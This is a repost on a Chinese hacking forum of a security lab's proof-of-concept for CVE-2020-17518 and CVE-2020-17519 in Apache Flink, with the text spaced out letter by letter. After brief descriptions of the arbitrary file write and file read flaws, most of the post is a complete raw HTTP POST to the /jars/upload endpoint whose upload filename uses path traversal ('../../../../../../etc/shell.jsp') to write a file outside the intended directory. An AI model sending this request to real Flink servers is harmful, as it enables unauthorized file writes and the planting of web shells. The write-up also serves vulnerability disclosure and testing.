搜索

[20452] 2021-01-06_CVE-2020-1751817519ApacheFlinkPOC

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-01-06_CVE-2020-1751817519ApacheFlinkPOC C V E - 2 0 2 0 - 1 7 5 1 8 / 1 7 5 1 9   A p a c h e   F l i n k   P O C 忍 者   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 0 6 C V E - 2 0 2 0 - 1 7 5 1 8 :   文 件 写 入 攻 击 者 利 用 R E S T   A P I ， 可 以 修 改 H T T P 头 ， 将 上 传 的 文 件 写 入 到 本 地 文 件 系 统 上 的 任 意 位 置 （ F l i n k   1 . 5 . 1 进 程 能 访 问 到 的 ） C V E - 2 0 2 0 - 1 7 5 1 9 :   文 件 读 取 A p a c h e   F l i n k   1 . 1 1 . 0   允 许 攻 击 者 通 过 J o b M a n a g e r 进 程 的 R E S T   A P I 读 取 J o b M a n a g e r 本 地 文 件 系 统 上 的 任 何 文 件 （ J o b M a n a g e r 进 程 能 访 问 到 的 ） P O C ： P O S T   / j a r s / u p l o a d   H T T P / 1 . 1 H o s t :   I P : 8 0 8 1 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 7 . 0 . 4 2 8 0 . 8 8   S a f a r i / 5 3 7 . 3 6 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y C o n t e n t - L e n g t h :   1 8 9 - - - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " j a r f i l e " ;   f i l e n a m e = " . . / . . / . . / . . / . . / . . / e t c / s h e l l . j s p " s u c c e s s - - - - - - W e b K i t F o r m B o u n d a r y o Z 8 m e K n r r s o 8 9 R 6 Y - -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理